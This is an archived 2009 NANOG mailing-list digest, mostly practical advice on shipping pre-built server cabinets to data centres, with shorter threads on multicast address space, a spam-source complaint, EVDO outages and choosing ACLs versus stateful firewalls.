2009 From: beckman at angryox.com (Peter Beckman) Date: Mon, 6 Apr 2009 15:06:10 -0400 Subject: shipping pre-built cabinets vs. build-on-site In-Reply-To: <8034EE7F-FACC-45A4-B5AE-1D9B53C18D43@hopcount.ca> References: <8034EE7F-FACC-45A4-B5AE-1D9B53C18D43@hopcount.ca> Message-ID: On Mon, 6 Apr 2009, Joe Abley wrote: > We've located a few vendors who sell shock-tolerant cabinets, but they're > expensive and seem to me to be aimed at people who need to ship a set of > equipment frequently (e.g. to support movie shoots, outside broadcasts, etc), > rather than people who want to ship just once. > > Do I even need to spend time wondering about shock-tolerant cabinets, or > should I instead be concentrating on finding the right company to wrap the > cabinets for shipping, and to do the shipping itself? Probably be cheaper to get shock-tolerant packing crates and use normal cabinets. You'll probably learn a few hard lessons the first time around -- should have put in styrofoam wedges between servers, or the rackmounts you used didn't hold up to shipping, or your shipper isn't as careful as they said they'd be -- but with the right packing crates and shipping partner, it's doable. Plus the crates can be re-used, lowering your costs. Beckman --------------------------------------------------------------------------- Peter Beckman Internet Guy beckman at angryox.com http://www.angryox.com/ --------------------------------------------------------------------------- From lowen at pari.edu Mon Apr 6 14:14:37 2009 From: lowen at pari.edu (Lamar Owen) Date: Mon, 6 Apr 2009 15:14:37 -0400 Subject: shipping pre-built cabinets vs. build-on-site In-Reply-To: <8034EE7F-FACC-45A4-B5AE-1D9B53C18D43@hopcount.ca> References: <8034EE7F-FACC-45A4-B5AE-1D9B53C18D43@hopcount.ca> Message-ID: <200904061514.37880.lowen@pari.edu> On Monday 06 April 2009 14:46:35 Joe Abley wrote: > Anybody here have experience shipping pre-built cabinets, with ~20U of > routers and servers installed, connected and tested, to remote sites > for deployment? [snip] > Do I even need to spend time wondering about shock-tolerant cabinets, > or should I instead be concentrating on finding the right company to > wrap the cabinets for shipping, and to do the shipping itself? Read up on the way EMC ships drive arrays already preloaded into their 42U cabinets. The cabinets are bolted to steel frames on special heavy duty pallets; there is an overwrap of cardboard; and, most importantly, on the side of the overwrap there is a tilt sensor that shows if the cabinet has been over a certain angle from vertical. A cap over the overwrap keeps it all together, and everything is banded as well. EMC cabinets are not shock mounted. EMC shipments are also handled by dedicated two-man teams with one particular logistics company; they aren't shipped Fedex or UPS Freight. For frequently shipped items, the shock mounted racks (using coiled cable, typically) work very well, but they are not cheap. From rs at seastrom.com Mon Apr 6 14:15:12 2009 From: rs at seastrom.com (Robert Seastrom) Date: Mon, 6 Apr 2009 15:15:12 -0400 Subject: Postel Network Operator's Scholarship nominations now open Message-ID: <164F04FC-5A0E-432C-B663-59F2A6DAE98F@seastrom.com> [Sent to multiple lists; apologies for the duplicates] On behalf of the North American Network Operators Group (NANOG) and the American Registry for Internet Numbers (ARIN), I would like to take this opportunity to draw your attention to the 2009 Postel Network Operator's Scholarship. The Postel Network Operator's Scholarship targets personnel from developing countries who are actively involved in Internet development, in any of the following roles: * Engineers (Network Builders) * Operational and Infrastructure Support Personnel * Educators and Trainers Successful applicants will be provided with transportation to and from the NANOG/ARIN joint meeting in autumn, and a reasonable (local host standard) allowance for food and accommodation. In addition, all fees for participation in the conferences, tutorials, and social events will be waived. The final grant size is determined according to final costs and available funding. Successful applicants will be advised at least 2 months prior to the fall meeting date. Applications from qualified individuals are now being accepted. The deadline for application is 1 June 2009, and the awardees will be informed by 3 July 2009. To apply for the fellowship please read http://www.nanog.org/scholarships/postel.php and submit your application via email to PostelNOS at nanog.org. Kind regards, -Rob Seastrom, on behalf of the Postel Scholarship Selection Committee From streiner at cluebyfour.org Mon Apr 6 14:19:31 2009 From: streiner at cluebyfour.org (Justin M. Streiner) Date: Mon, 6 Apr 2009 15:19:31 -0400 (EDT) Subject: shipping pre-built cabinets vs. build-on-site In-Reply-To: <8034EE7F-FACC-45A4-B5AE-1D9B53C18D43@hopcount.ca> References: <8034EE7F-FACC-45A4-B5AE-1D9B53C18D43@hopcount.ca> Message-ID: On Mon, 6 Apr 2009, Joe Abley wrote: > Anybody here have experience shipping pre-built cabinets, with ~20U of > routers and servers installed, connected and tested, to remote sites for > deployment? > > The idea is to increase the consistency of the deployments by having them all > built in one place by the same set of people, and to reduce the amount of > time required by warm bodies on-site (bodies that would otherwise have to > receive individual components and install/cable them). The issue you might run into is dealing with pre-racked components that end up getting damaged in transit. I've seen shippers do creative things with forklifts and pallet jacks :( On the flip side, telcos often do this. I know Verizon builds (or at least they did for a long time) racks and cabinets for deployment at customer deployment a central facility, then ships the finished product for installation. In this area (Pittsburgh, PA), the cabinets were built and tested at a Verizon assembly facility in Martinsburg, WV. If you do move ahead with this and do use 4-post cabinets, make sure most of the devices can be secured to both the front and rear posts. That wouldn't apply to things like patch panels, but 1U servers and 1U network devices are often somewhat lacking in terms of sturdy mounting harrdware that's designed to accommodate the rigors of shipping. As for shippers, I don't know if I would trust something as valuable or fragile to a regular LTL freight carrier. You might want to look at someone like FedEx Custom Critical. In my previous life, customers would ship their gear to our data center using them. Not cheap by any stretch... Also, if the source or destination does not have a real loading dock, your shipments will likely be more expensive if the shipper has to use a lift-gate truck. > We've located a few vendors who sell shock-tolerant cabinets, but they're > expensive and seem to me to be aimed at people who need to ship a set of > equipment frequently (e.g. to support movie shoots, outside broadcasts, etc), > rather than people who want to ship just once. Right. Companies like Calzone Cases, Jan-Al, Penn Fabrication and Hardigg can build cabinets for this purposes but they are designed for stuff that lives 'on the road', such as touring sound equipment. > Do I even need to spend time wondering about shock-tolerant cabinets, or > should I instead be concentrating on finding the right company to wrap the > cabinets for shipping, and to do the shipping itself? There are shock-mount pallets and shipping frames that can be used - they often bolt to the bottom of the cabinet and then there is often a 'bumper' for the top of the cabinet and then the whole works is shrink-wrapped together. jms From bicknell at ufp.org Mon Apr 6 14:24:03 2009 From: bicknell at ufp.org (Leo Bicknell) Date: Mon, 6 Apr 2009 15:24:03 -0400 Subject: shipping pre-built cabinets vs. build-on-site In-Reply-To: <8034EE7F-FACC-45A4-B5AE-1D9B53C18D43@hopcount.ca> References: <8034EE7F-FACC-45A4-B5AE-1D9B53C18D43@hopcount.ca> Message-ID: <20090406192403.GB57510@ussenterprise.ufp.org> In a message written on Mon, Apr 06, 2009 at 02:46:35PM -0400, Joe Abley wrote: > Anybody here have experience shipping pre-built cabinets, with ~20U of > routers and servers installed, connected and tested, to remote sites > for deployment? "shipping", no, "moving" yes. In past lives I've hired the same good folks who you might use to move your house to move entire racks. The major moving companies have teams who have experience with eletronic equipment, including full racks. Any quality 4 post rack with things well secured should be able to travel this way. I've never tried out of range of a truck, in all of my examples it was put on a truck, driven to the destination, and unloaded by the same team of folks. Still, if you don't need it overnight that can be the entire united states... -- Leo Bicknell - bicknell at ufp.org - CCIE 3440 PGP keys at http://www.ufp.org/~bicknell/ -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 187 bytes Desc: not available URL: From patrick at ianai.net Mon Apr 6 14:34:57 2009 From: patrick at ianai.net (Patrick W. Gilmore) Date: Mon, 6 Apr 2009 15:34:57 -0400 Subject: shipping pre-built cabinets vs. build-on-site In-Reply-To: References: <8034EE7F-FACC-45A4-B5AE-1D9B53C18D43@hopcount.ca> Message-ID: <8D3D2785-2B70-41B0-A0C8-E40FE7584558@ianai.net> On Mon, 6 Apr 2009, Joe Abley wrote: > Anybody here have experience shipping pre-built cabinets, with ~20U > of routers and servers installed, connected and tested, to remote > sites for deployment? How tall are the doors in the destination datacenter? How much weight can be rolled over the raised floor? How high up are the cable trays in the aisles? Etc., etc. Sometimes things which are not obvious, and not about technology, are still important. -- TTFN, patrick From darren at bolding.org Mon Apr 6 14:43:13 2009 From: darren at bolding.org (Darren Bolding) Date: Mon, 6 Apr 2009 12:43:13 -0700 Subject: shipping pre-built cabinets vs. build-on-site In-Reply-To: <20090406192403.GB57510@ussenterprise.ufp.org> References: <8034EE7F-FACC-45A4-B5AE-1D9B53C18D43@hopcount.ca> <20090406192403.GB57510@ussenterprise.ufp.org> Message-ID: <5a318d410904061243m5c33560ev4f84596528d8875@mail.gmail.com> I know some VAR's (CDW for example) will do racking/shipping from their facility. In the option we explored, they offered to allow us to rack gear ourselves or rack it themselves. They also were amenable to a VPN setup so we could get in via console and KVM's. They claimed to ship pre-built cabinets like this on a regular basis. On Mon, Apr 6, 2009 at 12:24 PM, Leo Bicknell wrote: > In a message written on Mon, Apr 06, 2009 at 02:46:35PM -0400, Joe Abley > wrote: > > Anybody here have experience shipping pre-built cabinets, with ~20U of > > routers and servers installed, connected and tested, to remote sites > > for deployment? > > "shipping", no, "moving" yes. > > In past lives I've hired the same good folks who you might use to > move your house to move entire racks. The major moving companies > have teams who have experience with eletronic equipment, including > full racks. Any quality 4 post rack with things well secured should > be able to travel this way. > > I've never tried out of range of a truck, in all of my examples it > was put on a truck, driven to the destination, and unloaded by the > same team of folks. Still, if you don't need it overnight that can be > the entire united states... > > -- > Leo Bicknell - bicknell at ufp.org - CCIE 3440 > PGP keys at http://www.ufp.org/~bicknell/ > -- -- Darren Bolding -- -- darren at bolding.org -- From owen at delong.com Mon Apr 6 14:46:21 2009 From: owen at delong.com (Owen DeLong) Date: Mon, 6 Apr 2009 12:46:21 -0700 Subject: shipping pre-built cabinets vs. build-on-site In-Reply-To: <20090406192403.GB57510@ussenterprise.ufp.org> References: <8034EE7F-FACC-45A4-B5AE-1D9B53C18D43@hopcount.ca> <20090406192403.GB57510@ussenterprise.ufp.org> Message-ID: I have some experience with this, and, in general, if you have the option, it's best to ship the equipment and racks separately in their original manufacturer's packaging. If you don't have that option, use a moving company with a specialty (or specialty department) that does electronics moving. If you have to ship a rack this way, try to order the rack so that the equipment with the greatest moment(1) from the center of the cabinet is in the lowest positions and the equipment with the least moment is at or near the top of the stack. Place all of the equipment as low as possible in the rack. Additionally, if there is anything with removable disk drives in the rack, you are far better off to remove the drives and carefully pack and ship them separately. Obviously, appropriate labeling is crucial here if the drives already contain data. Owen (1)moment is the length (from the center of the rack) to the center of mass of the object multiplied by the mass of the object. From charles at thewybles.com Mon Apr 6 15:00:54 2009 From: charles at thewybles.com (Charles Wyble) Date: Mon, 06 Apr 2009 13:00:54 -0700 Subject: shipping pre-built cabinets vs. build-on-site In-Reply-To: <8034EE7F-FACC-45A4-B5AE-1D9B53C18D43@hopcount.ca> References: <8034EE7F-FACC-45A4-B5AE-1D9B53C18D43@hopcount.ca> Message-ID: <49DA5F76.6080207@thewybles.com> Joe Abley wrote: > Hi all, > > Anybody here have experience shipping pre-built cabinets, with ~20U of > routers and servers installed, connected and tested, to remote sites for > deployment? Not pre built cabinets, but I have shipped/received over $1,000,000.00 worth of gear (routers/switches/desktops/servers) all over the United States utilizing FedEx. Packed everything with lots and lots of foam peanuts and shrink wrap, with standard pallets and crates. Never had an issue. Checkout FedEx Custom Critical.... pricey but excellent (used them to ship something same day once..... that was really expensive as it required a dedicated aircraft.... but when you gotta have it as close to right now as possible, they fit the ticket). :) From leo.vegoda at icann.org Mon Apr 6 15:02:26 2009 From: leo.vegoda at icann.org (Leo Vegoda) Date: Mon, 6 Apr 2009 13:02:26 -0700 Subject: eGLOP and/or 232/8 question (SSM) In-Reply-To: Message-ID: Hi Ryan, On 06/04/2009 10:51, "Ryan Landry" wrote: > i apologize if this has been discussed...searching mboned/nanog/ietf/arin/etc > archives doesn't give me the clarification i hoped for. > > is there a defined method to request eGLOP space? does anyone really care > what people use internally for mcast? i see mr. eubanks submitted a proposal > back in 2007 for eGLOP assignment process and ARIN shot it down, but i can't > seem to find current status. If you need additional IPv4 multicast address space you can request it using the form on this page: http://www.iana.org/protocols/apply/ The EGLOP space is set to become additional AD-HOC multicast space. The draft for this can be found at: http://tools.ietf.org/id/draft-ietf-mboned-rfc3171bis Hope this helps, Leo From woody at pch.net Mon Apr 6 15:10:25 2009 From: woody at pch.net (Bill Woodcock) Date: Mon, 6 Apr 2009 13:10:25 -0700 (PDT) Subject: shipping pre-built cabinets vs. build-on-site In-Reply-To: References: <8034EE7F-FACC-45A4-B5AE-1D9B53C18D43@hopcount.ca> Message-ID: On Mon, 6 Apr 2009, Peter Beckman wrote: > Probably be cheaper to get shock-tolerant packing crates and use normal > cabinets. You'll probably learn a few hard lessons the first time around > -- should have put in styrofoam wedges between servers, or the rackmounts > you used didn't hold up to shipping, or your shipper isn't as careful as > they said they'd be -- but with the right packing crates and shipping > partner, it's doable. That's good advice. I've found that it's critially necessary to close the loop by having the same person open the crate on the receiving end as packed the gear on the shipping end, and have it be that person whose week is wasted in transit or has to spend it scrounging parts in Lagos. Once they learn a set of techniques that work, you can stop flying them around, but hang on to them. One of the best employees we ever had at this had grown up on a family-owned winery, and had been shipping cases of wine internationally since she was ten years old. Knew both the packing and customs ends of things. That's an important thing to remember... Your initial packing job will only get you 80% of the way there. Some customs monkey will often unpack it for you in his attempt to get good enough photos to post to eBay, but you'll still have to get the crate the remaining 20% of the way to its ultimate destination, though that'll be domestic truck freight within the country. > Plus the crates can be re-used, lowering your costs. Only if the cost of shipping the crates home again is lower than the cost of building new ones, which is unlikely, even if you slow-boat them. -Bill From matthew at eeph.com Mon Apr 6 15:22:11 2009 From: matthew at eeph.com (Matthew Kaufman) Date: Mon, 06 Apr 2009 13:22:11 -0700 Subject: shipping pre-built cabinets vs. build-on-site In-Reply-To: References: <8034EE7F-FACC-45A4-B5AE-1D9B53C18D43@hopcount.ca> <20090406192403.GB57510@ussenterprise.ufp.org> Message-ID: <49DA6473.4000402@eeph.com> Owen DeLong wrote: > (1)moment is the length (from the center of the rack) to the center > of mass of the object multiplied by the mass of the object. If you change the datum to the bottom of the rack, the CG calculation is easier. Just remember that 6lbs/gallon for 100LL is close enough. Matthew Kaufman From martin at theicelandguy.com Mon Apr 6 16:09:56 2009 From: martin at theicelandguy.com (Martin Hannigan) Date: Mon, 6 Apr 2009 17:09:56 -0400 Subject: shipping pre-built cabinets vs. build-on-site In-Reply-To: <8034EE7F-FACC-45A4-B5AE-1D9B53C18D43@hopcount.ca> References: <8034EE7F-FACC-45A4-B5AE-1D9B53C18D43@hopcount.ca> Message-ID: On Mon, Apr 6, 2009 at 2:46 PM, Joe Abley wrote: > Hi all, > > Anybody here have experience shipping pre-built cabinets, with ~20U of > routers and servers installed, connected and tested, to remote sites for > deployment? I've done this in the past and most recently evaluated it as an option to reduce remote hands requirements for future Icelandic data centers. I prefer the on-site build. There are a lot of gotchas. For example, cabinet heights. Floor loading. Max ceiling height, cable delivery systems, power delivery preferences, cabinet style, etc. In most cabinet inventory facilities the operators ask you to utilize their cabinets which, for some, are turned to cooling and service delivery requirements. Entrance doorways are typically wide, but a 7" cabinet on wheels will usually have to come in on it's side if it's not built or already installed inside the room. Pre-fab cabinets may have to be tipped, twisted, or mangled to get through a door. Depending upon how your gear is mounted internally, you could see your backplanes experience stresses that will not be obviously detectable "initially" as a result of that jousting. Pre fab for 20U in your own cabinet is also doubling the cost of your install in a facility that would sell you 20U of cabinet. That doesn't leave you much room for growth, but if you do your agreements in a manner that allows you to expand and pay as you grow, it may be worth it not to pre fab and eat all 40U in costs. These days, with the limited power available in facilities, you may only get 20U and your growth sideways will require additional cabinets anyhow so growing into your cabinet may not be possible. The idea is to increase the consistency of the deployments by having them > all built in one place by the same set of people, and to reduce the amount > of time required by warm bodies on-site (bodies that would otherwise have to > receive individual components and install/cable them). > > We've located a few vendors who sell shock-tolerant cabinets, but they're > expensive and seem to me to be aimed at people who need to ship a set of > equipment frequently (e.g. to support movie shoots, outside broadcasts, > etc), rather than people who want to ship just once. > > The destination in all cases would be a commercial, modern data centre. The > equipment would be shipped from LA. > > Do I even need to spend time wondering about shock-tolerant cabinets, or > should I instead be concentrating on finding the right company to wrap the > cabinets for shipping, and to do the shipping itself? I wasn't able to show a major capex or opex cost savings by pre-fabricating. You are either going to increase the workload of your existing people or hire more to buy the obvious convenience. Either way, probably more expensive for 20U that it may be worth. 1. as-builts designated by the RU 2. physical layer wiring diagram 3. cable run list (optical, fiber, connector type, pots) 4. Bill of materials down to the rack mount kit screws 5. cut view, detailing cabinet details _from the datacenter_. I think that you'll find that you can improve your install experience by (possibly) improving your documentation and standards requirements. Best, Marty -- Martin Hannigan martin at theicelandguy.com p: +16178216079 Power, Network, and Costs Consulting for Iceland Datacenters and Occupants From elmi at 4ever.de Mon Apr 6 16:33:30 2009 From: elmi at 4ever.de (Elmar K. Bins) Date: Mon, 6 Apr 2009 23:33:30 +0200 Subject: shipping pre-built cabinets vs. build-on-site In-Reply-To: References: <8034EE7F-FACC-45A4-B5AE-1D9B53C18D43@hopcount.ca> Message-ID: <20090406213330.GK29526@ronin.4ever.de> martin at theicelandguy.com (Martin Hannigan) wrote: > 1. as-builts designated by the RU > 2. physical layer wiring diagram > 3. cable run list (optical, fiber, connector type, pots) > 4. Bill of materials down to the rack mount kit screws > 5. cut view, detailing cabinet details _from the datacenter_. ;-) We have quite some experience in having third party people, including professional hosting companies and "friends" on-site, receiving our boxes and assembling the entire thing for us. The only ones that failed were a big german teclo back in 2004. Which was essentially why we why we assembled an entire cabinet ready-for-production, in the 2006 rebuild for their new datacenter site. Yes, we got it shipped within Germany (Frankfurt to Ulm). Getting a shipping company to do that difficult at best: The big ones all turned us down. We found a small company that did it (who usually worked for one of the big ones that turned us down). They claimed to have experience, and they delivered everything in working condition. The telco was eventually able to plug the five cables into the right sockets and everything was ready to jumpstart. Usually we send parts, and what has proven a very good idea for us is to ship really everything, including every cable, connector and adaptor, except for the mains connectors which are different in every single place. It is crucial to label every port (and I mean "server ports" and "strange boxes' ports"; everything but switchports, really) with a number and do the same with every single cable and adaptor. A detailled cabling plan which lists and sometimes depicts what goes where (A- and B-side systems, cable numbers, lengths and colors, and the according port numbers) makes cabling the thing - as I've been told - pretty easy. Well, soon enough I'll be doing the first ever on-site installation myself which comes with a nice couple of days vacation, so I opted for doing it. Of course, it's actually just the verification of our assembly instructions being _really_ idiot-proof. Anyway, Joe, if you can make it happen, have people on-site assemble the stuff for you. They will usually be kind enough to make power cables for you, too. I have had people from professional hosters really go out of their way (using private credit cards to obtain parts etc) to make the thing work. Sending that one full rack has proven successful for us, but that was specialists with some experience, and it was road only. Every time I see suitcases being thrown around in airports...well... Elmar. From chaim.rieger at gmail.com Mon Apr 6 16:49:16 2009 From: chaim.rieger at gmail.com (Chaim Rieger) Date: Mon, 6 Apr 2009 21:49:16 +0000 Subject: shipping pre-built cabinets vs. build-on-site Message-ID: <861092821-1239054561-cardhu_decombobulator_blackberry.rim.net-1217564067-@bxe1224.bisx.prod.on.blackberry> Hergo (1) did this for me a few times, they are out of ny though, and ship freight only. YMMV 1 www.hergo.com Sent via BlackBerry from T-Mobile From martin at theicelandguy.com Mon Apr 6 16:50:16 2009 From: martin at theicelandguy.com (Martin Hannigan) Date: Mon, 6 Apr 2009 17:50:16 -0400 Subject: shipping pre-built cabinets vs. build-on-site In-Reply-To: <20090406213330.GK29526@ronin.4ever.de> References: <8034EE7F-FACC-45A4-B5AE-1D9B53C18D43@hopcount.ca> <20090406213330.GK29526@ronin.4ever.de> Message-ID: On Mon, Apr 6, 2009 at 5:33 PM, Elmar K. Bins wrote: > martin at theicelandguy.com (Martin Hannigan) wrote: > > > 1. as-builts designated by the RU > > 2. physical layer wiring diagram > > 3. cable run list (optical, fiber, connector type, pots) > > 4. Bill of materials down to the rack mount kit screws > > 5. cut view, detailing cabinet details _from the datacenter_. > > [ clip ] > > > Usually we send parts, and what has proven a very good idea for us is > to ship really everything, including every cable, connector and adaptor, > except for the mains connectors which are different in every single > place. It is crucial to label every port (and I mean "server ports" > and "strange boxes' ports"; everything but switchports, really) with > a number and do the same with every single cable and adaptor. I forgot the piece of documentation that I use for that specifically; the boxology diagram. That's a visio[1] detail related to chassis and card slots that correlate directly to the bill of materials for inventory and install management. I tend to drop ship the entire order to the facility instead of shipping and then reshipping to save on the shipping costs. This is a prefernce thing since the costs for 20U and shipping are probably not that great as compared to doing this for 200 racks. One other thing that is important for documentation. Pics of the completed install. I won't release payment until there is an acceptance, either onsite or via pics and an operational service. Best, Martin 1. Most vendors have visio objects to give you upon the asking. Visio itself comes with many, and there are vendors like NetZoom who make a living providing chassis and card objects for this level of detail. -- Martin Hannigan martin at theicelandguy.com p: +16178216079 Power, Network, and Costs Consulting for Iceland Datacenters and Occupants From charles at thewybles.com Mon Apr 6 16:51:39 2009 From: charles at thewybles.com (Charles Wyble) Date: Mon, 06 Apr 2009 14:51:39 -0700 Subject: shipping pre-built cabinets vs. build-on-site In-Reply-To: <20090406213330.GK29526@ronin.4ever.de> References: <8034EE7F-FACC-45A4-B5AE-1D9B53C18D43@hopcount.ca> <20090406213330.GK29526@ronin.4ever.de> Message-ID: <49DA796B.5020601@thewybles.com> > Sending that one full rack has proven successful for us, but that > was specialists with some experience, and it was road only. Every > time I see suitcases being thrown around in airports...well... > Baggage handlers have nothing on FedEX folks. They literally hurl packages into the truck like baseballs. I used to work for a major fullfillment company, and one afternoon we were in the IT office and we got to see first hand how FedEX loaded up the items they were shipping from one of our West Coast facilities. :) Of course our packing / prep took this into account and so the items survived. From karnaugh at karnaugh.za.net Tue Apr 7 04:53:07 2009 From: karnaugh at karnaugh.za.net (Colin Alston) Date: Tue, 07 Apr 2009 11:53:07 +0200 Subject: AS6079 Message-ID: <49DB2283.8020807@karnaugh.za.net> I've reported spam to this AS before, and I don't recall ever getting a response. I'm wondering how many others see spam from it? Is it worth while continuing or should I just stop accepting SMTP from there? They seem to have some dubious customers hosted on there, a large amount seems to come from the domain mailiz.biz and out of idealhosting.com From rs at seastrom.com Tue Apr 7 08:46:49 2009 From: rs at seastrom.com (Robert E. Seastrom) Date: Tue, 07 Apr 2009 09:46:49 -0400 Subject: shipping pre-built cabinets vs. build-on-site In-Reply-To: <20090406192403.GB57510@ussenterprise.ufp.org> (Leo Bicknell's message of "Mon, 6 Apr 2009 15:24:03 -0400") References: <8034EE7F-FACC-45A4-B5AE-1D9B53C18D43@hopcount.ca> <20090406192403.GB57510@ussenterprise.ufp.org> Message-ID: <86bpr8efue.fsf@seastrom.com> Leo Bicknell writes: > "shipping", no, "moving" yes. > > In past lives I've hired the same good folks who you might use to > move your house to move entire racks. The major moving companies > have teams who have experience with eletronic equipment, including > full racks. Any quality 4 post rack with things well secured should > be able to travel this way. That's the way that IBM used to ship mainframes out of their Kingston, NY facility years ago. Never seen so many United Van Lines trucks in one place. The divisions of moving companies that handle trade shows are usually the same divisions that handle "high tech" moves. I've used United and Bekins, but in both cases that was so long ago that my positive experience with them at the time doesn't count either way for present day. -r From karnaugh at karnaugh.za.net Tue Apr 7 08:53:42 2009 From: karnaugh at karnaugh.za.net (Colin Alston) Date: Tue, 07 Apr 2009 15:53:42 +0200 Subject: AS6079 In-Reply-To: <20090407133301.GB21550@collab.or8.net> References: <49DB2283.8020807@karnaugh.za.net> <20090407133301.GB21550@collab.or8.net> Message-ID: <49DB5AE6.80407@karnaugh.za.net> On 2009/04/07 03:33 PM Chris Jackman wrote: > On Tue, Apr 07, 2009 at 11:53:07AM +0200, Colin Alston wrote: >> I've reported spam to this AS before, and I don't recall ever getting a >> response. >> >> I'm wondering how many others see spam from it? Is it worth while >> continuing or should I just stop accepting SMTP from there? >> >> They seem to have some dubious customers hosted on there, a large amount >> seems to come from the domain mailiz.biz and out of idealhosting.com > > > I've replied offlist. This is being addressed. > Thank you Chris. Apologies for my assumption based on the silence :) From mhelmest at uvic.ca Tue Apr 7 15:05:31 2009 From: mhelmest at uvic.ca (Michael Helmeste) Date: Tue, 07 Apr 2009 13:05:31 -0700 Subject: ACLs vs. full firewalls Message-ID: <49DBB20B.2050009@uvic.ca> Hi all, One of the duties of my current place of employ is reorganizing the network. We have a few Catalyst 6500 series L3 switches, but currently do all packet filtering (and some routing) using a software based firewall. Don't ask me, I didn't design it :) Current security requirements are only based on TCP and non-stateful UDP src/dst net/port filtering, and so my suggestion was to use ACLs applied on the routed interface of each VLAN. There was some talk of using another software based firewall or a Cisco FWSM card to filter traffic at the border, mostly for management concerns. We expect full 1 gig traffic levels today, and 10 gig traffic levels in the future. I view ACLs as being a cheap, easy to administrate solution that scales with upgrades to new interface line speeds, where a full stateful firewall isn't necessary. However, I wanted to get other opinions of what packet filtering solutions people use in the border and in the core, and why. What's out there, and why do you guys use it? How do you feel about the scalability, performance, security, and manageability of your solution? What kind of traffic levels do you put through it? From streiner at cluebyfour.org Tue Apr 7 15:44:45 2009 From: streiner at cluebyfour.org (Justin M. Streiner) Date: Tue, 7 Apr 2009 16:44:45 -0400 (EDT) Subject: ACLs vs. full firewalls In-Reply-To: <49DBB20B.2050009@uvic.ca> References: <49DBB20B.2050009@uvic.ca> Message-ID: On Tue, 7 Apr 2009, Michael Helmeste wrote: > Current security requirements are only based on TCP and non-stateful > UDP src/dst net/port filtering, and so my suggestion was to use ACLs > applied on the routed interface of each VLAN. There was some talk of > using another software based firewall or a Cisco FWSM card to filter > traffic at the border, mostly for management concerns. We expect full 1 > gig traffic levels today, and 10 gig traffic levels in the future. The FWSM can handle 1 Gb/s but not 10. The connection between the FWSM and the backplane is a 6x1 Gig Etherchannel, and the published max throughput is about 5.5 Gb/s, but I've never stressed one to more than about 35% of that in a production environment. The only Cisco firewalls that I'm awre of today that are rated to 10 Gb/s or more are the ASA 5580-20 and 5580-40, but how suitable they'd be for you depends very much on our design goals, including how complex your firewall rules and service policies will be. You might also be able to shoe-horn an ASR into this role. Other considerations include functional support for IPv6, long term support strategy/development roadmap, whether you need to support VPN traffic directly on your firewall, etc... Cisco seems to be moving away from IPSEC for remote access VPNs and pushing people toward SSL. There are some other interesting offerings from Juniper/Netscreen, Palo Alto, and others, unless you're specifically married to Cisco gear. > I view ACLs as being a cheap, easy to administrate solution that > scales with upgrades to new interface line speeds, where a full stateful > firewall isn't necessary. However, I wanted to get other opinions of > what packet filtering solutions people use in the border and in the > core, and why. ACLs can be used as part of a 'defense in depth' strategy, though if you need stateful filtering, their utility might be somewhat limited. If there is traff that you know you don't care about, you can block it with an ACL and save the resources on your firewall. Just remember that those same ACLs can complicate your troubleshooting efforts when something does break. jms From charles at thewybles.com Tue Apr 7 16:10:24 2009 From: charles at thewybles.com (Charles Wyble) Date: Tue, 07 Apr 2009 14:10:24 -0700 Subject: Verizon EVDO Issues Message-ID: <49DBC140.1040805@thewybles.com> Been troubleshooting a very strange problem for a couple of weeks now. I have a few hundred systems deployed throughout the United States utilizing EVDO connectivity with Verizon as a carrier. They are stationary. Over the past few weeks clusters of them in SF and Lewisville TX and a few other areas have been failing intermittently. They are offline for several days, then online for a few days then go offline again. They are running Linux and PPPD. Has anyone else seen anything like this? I realize that there are very few other organizations with a network footprint like ours (few hundred static EVDO cards). Other large users like FedEx and Amtrak aren't reporting any issues. Verizon wants to replace the cards, but that doesn't seem like a viable solution, as it's localized to a few areas and is intermittent. Replies on or off list appreciated. From eric at roxanne.org Tue Apr 7 16:18:06 2009 From: eric at roxanne.org (Eric Gauthier) Date: Tue, 7 Apr 2009 17:18:06 -0400 Subject: ACLs vs. full firewalls In-Reply-To: <49DBB20B.2050009@uvic.ca> References: <49DBB20B.2050009@uvic.ca> Message-ID: <20090407211806.GA31462@roxanne.org> Michael, Do you have logging or audit requirements to your filters? We use ACLs almost everywhere for non-stateful filtering, but there are a few locations (e.g. HIPPA) that require an audit trail which is perhaps better accomplished by a firewall. Eric :) On Tue, Apr 07, 2009 at 01:05:31PM -0700, Michael Helmeste wrote: > Hi all, > One of the duties of my current place of employ is reorganizing the > network. We have a few Catalyst 6500 series L3 switches, but currently > do all packet filtering (and some routing) using a software based > firewall. Don't ask me, I didn't design it :) > > Current security requirements are only based on TCP and non-stateful > UDP src/dst net/port filtering, and so my suggestion was to use ACLs > applied on the routed interface of each VLAN. There was some talk of > using another software based firewall or a Cisco FWSM card to filter > traffic at the border, mostly for management concerns. We expect full 1 > gig traffic levels today, and 10 gig traffic levels in the future. > > I view ACLs as being a cheap, easy to administrate solution that > scales with upgrades to new interface line speeds, where a full stateful > firewall isn't necessary. However, I wanted to get other opinions of > what packet filtering solutions people use in the border and in the > core, and why. > > What's out there, and why do you guys use it? How do you feel about > the scalability, performance, security, and manageability of your > solution? What kind of traffic levels do you put through it? From mpetach at netflight.com Tue Apr 7 16:20:52 2009 From: mpetach at netflight.com (Matthew Petach) Date: Tue, 7 Apr 2009 14:20:52 -0700 Subject: ACLs vs. full firewalls In-Reply-To: <49DBB20B.2050009@uvic.ca> References: <49DBB20B.2050009@uvic.ca> Message-ID: <63ac96a50904071420x7999f6e0lefeea88c3f2c3822@mail.gmail.com> On 4/7/09, Michael Helmeste wrote: > Hi all, > One of the duties of my current place of employ is reorganizing the > network. We have a few Catalyst 6500 series L3 switches, but currently > do all packet filtering (and some routing) using a software based > firewall. Don't ask me, I didn't design it :) > > Current security requirements are only based on TCP and non-stateful > UDP src/dst net/port filtering, and so my suggestion was to use ACLs > applied on the routed interface of each VLAN. There was some talk of > using another software based firewall or a Cisco FWSM card to filter > traffic at the border, mostly for management concerns. We expect full 1 > gig traffic levels today, and 10 gig traffic levels in the future. > > I view ACLs as being a cheap, easy to administrate solution that > scales with upgrades to new interface line speeds, where a full stateful > firewall isn't necessary. However, I wanted to get other opinions of > what packet filtering solutions people use in the border and in the > core, and why. ACLs are a cheap solution; ease of administration depends on your scale in terms of number of entries. Keep in mind that depending on your hardware platform, using ACLs can run into unexpected limitations. If you're considering doing this on the 6500 platform, read up on TCAM limitations and L4Op/LOU operator limits: http://www.cisco.com/en/US/products/hw/switches/ps708/products_white_paper09186a00800c9470.shtml#wp43433 It can be a very rude awakening when you add one more seemingly innocuous ilne to your ACL, and discover the entire thing has suddenly gone into software switched mode. With that caveat aside, there are many large sites that do make use of ACLs as part of their security repetoire. It's definitely something to consider, just be aware of your hardware platform's limitations before diving in 